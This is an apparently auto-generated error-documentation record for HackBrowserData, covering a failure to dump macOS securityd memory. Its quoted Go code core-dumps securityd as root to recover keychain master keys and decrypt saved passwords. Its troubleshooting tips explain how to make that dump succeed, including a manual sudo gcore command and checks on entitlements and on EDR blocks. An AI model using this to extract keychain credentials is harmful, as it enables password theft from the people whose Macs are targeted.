{"record":{"id":"70eb14a5dd5dc9c5","repo":"moonD4rk/HackBrowserData","slug":"failed-to-dump-securityd-memory-w","errorCode":null,"errorMessage":"failed to dump securityd memory: %w","messagePattern":"failed to dump securityd memory: %w","errorType":"exception","errorClass":null,"httpStatus":null,"severity":"critical","filePath":"masterkey/gcoredump_darwin.go","lineNumber":82,"sourceCode":"// read login.keychain-db's generic password records. Requires root.\nfunc DecryptKeychainRecords() ([]keychainbreaker.GenericPassword, error) {\n\tif os.Geteuid() != 0 {\n\t\treturn nil, errors.New(\"requires root privileges\")\n\t}\n\n\tpid, err := findProcessByName(\"securityd\", true)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to find securityd pid: %w\", err)\n\t}\n\n\t// gcore appends \".PID\" to the -o prefix, e.g. prefix.123\n\tcorePrefix := filepath.Join(os.TempDir(), fmt.Sprintf(\"securityd-core-%d\", time.Now().UnixNano()))\n\tcorePath := fmt.Sprintf(\"%s.%d\", corePrefix, pid)\n\tdefer os.Remove(corePath)\n\n\tcmd := exec.Command(\"gcore\", \"-d\", \"-s\", \"-v\", \"-o\", corePrefix, strconv.Itoa(pid))\n\tif err := cmd.Run(); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to dump securityd memory: %w\", err)\n\t}\n\n\t// vmmap identifies MALLOC_SMALL heap regions where securityd stores keys\n\tregions, err := findMallocSmallRegions(pid)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to find malloc small regions: %w\", err)\n\t}\n\n\tcandidates, err := scanMasterKeyCandidates(corePath, regions)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"scan master key candidates: %w\", err)\n\t}\n\tif len(candidates) == 0 {\n\t\treturn nil, fmt.Errorf(\"no master key candidates found in securityd memory\")\n\t}\n\n\t// read keychain file once, reuse buffer for each candidate\n\tkeychainBuf, err := os.ReadFile(loginKeychainPath)","sourceCodeStart":64,"sourceCodeEnd":100,"githubUrl":"https://github.com/moonD4rk/HackBrowserData/blob/0503d04d7a8d0379d060268a74f1b149e5a0aad5/masterkey/gcoredump_darwin.go#L64-L100","documentation":"This error wraps cmd.Run() failure when executing `gcore -d -s -v -o <prefix> <pid>` to dump securityd's memory. gcore is the only mechanism this library uses to capture the target process heap, so a failure here aborts keychain decryption entirely.","triggerScenarios":"Calling DecryptKeychainRecords as root on macOS when: the gcore binary is missing from PATH, gcore lacks the com.apple.system-task-ports.read entitlement (per CVE-2025-24204 context), the dump is too large for /tmp, or gcore exits nonzero for any other reason (timeout, ptrace restrictions).","commonSituations":"macOS without Xcode/LLDB installed (gcore not present); running on macOS versions where the CVE-2025-24204 entitlement path no longer applies (patched systems); /tmp too small for a multi-GB securityd core; security managers or EDR blocking process memory reads.","solutions":["Check gcore exists: `which gcore` (install Xcode Command Line Tools / LLDB if missing).","Verify gcore holds the com.apple.system-task-ports.read entitlement (`codesign -d --entitlements - $(which gcore)`); use the Apple-shipped gcore on the patched CVE-2025-24204 systems will fail.","Run with sufficient free space in $TMPDIR — securityd cores can be large; set TMPDIR to a larger volume if needed.","Test manually as root: `sudo gcore -d -s -v -o /tmp/test-core <securityd-pid>` to see the raw gcore error.","Check EDR/MDM or hardened runtime policies that may deny task port access to securityd."],"exampleFix":"// before\ncmd := exec.Command(\"gcore\", \"-d\", \"-s\", \"-v\", \"-o\", corePrefix, strconv.Itoa(pid))\nif err := cmd.Run(); err != nil {\n    return nil, fmt.Errorf(\"failed to dump securityd memory: %w\", err)\n}\n// after\ncmd := exec.Command(\"gcore\", \"-d\", \"-s\", \"-v\", \"-o\", corePrefix, strconv.Itoa(pid))\nif out, err := cmd.CombinedOutput(); err != nil {\n    return nil, fmt.Errorf(\"failed to dump securityd memory: %w: %s\", err, out)\n}","handlingStrategy":"validation","validationCode":"if _, err := exec.LookPath(\"gcore\"); err != nil {\n    return fmt.Errorf(\"gcore not found; install Xcode Command Line Tools\")\n}\n// also check free space in TMPDIR\nif st, err := os.Stat(os.TempDir()); err == nil {\n    _ = st\n}","typeGuard":null,"tryCatchPattern":"_, err := masterkey.DecryptKeychainRecords()\nif err != nil && strings.Contains(err.Error(), \"failed to dump securityd memory\") {\n    // check gcore availability/entitlements before retrying\n}","preventionTips":["Install Xcode Command Line Tools so gcore exists.","Verify gcore's entitlements (com.apple.system-task-ports.read) on your macOS build.","Ensure ample free space in $TMPDIR for a large core.","Check that no EDR/MDM policy blocks task-port reads of securityd."],"tags":["macos","gcore","external-command","memory-dump"],"backgroundTag":"command-not-found","analyzedSha":"0503d04d7a8d0379d060268a74f1b149e5a0aad5","analyzedAt":"2026-09-06T13:38:28.707Z","contentChangedAt":"2026-09-06T13:38:28.707Z","schemaVersion":2},"datasetVersion":"2026-09-14T00:17:10.932Z"}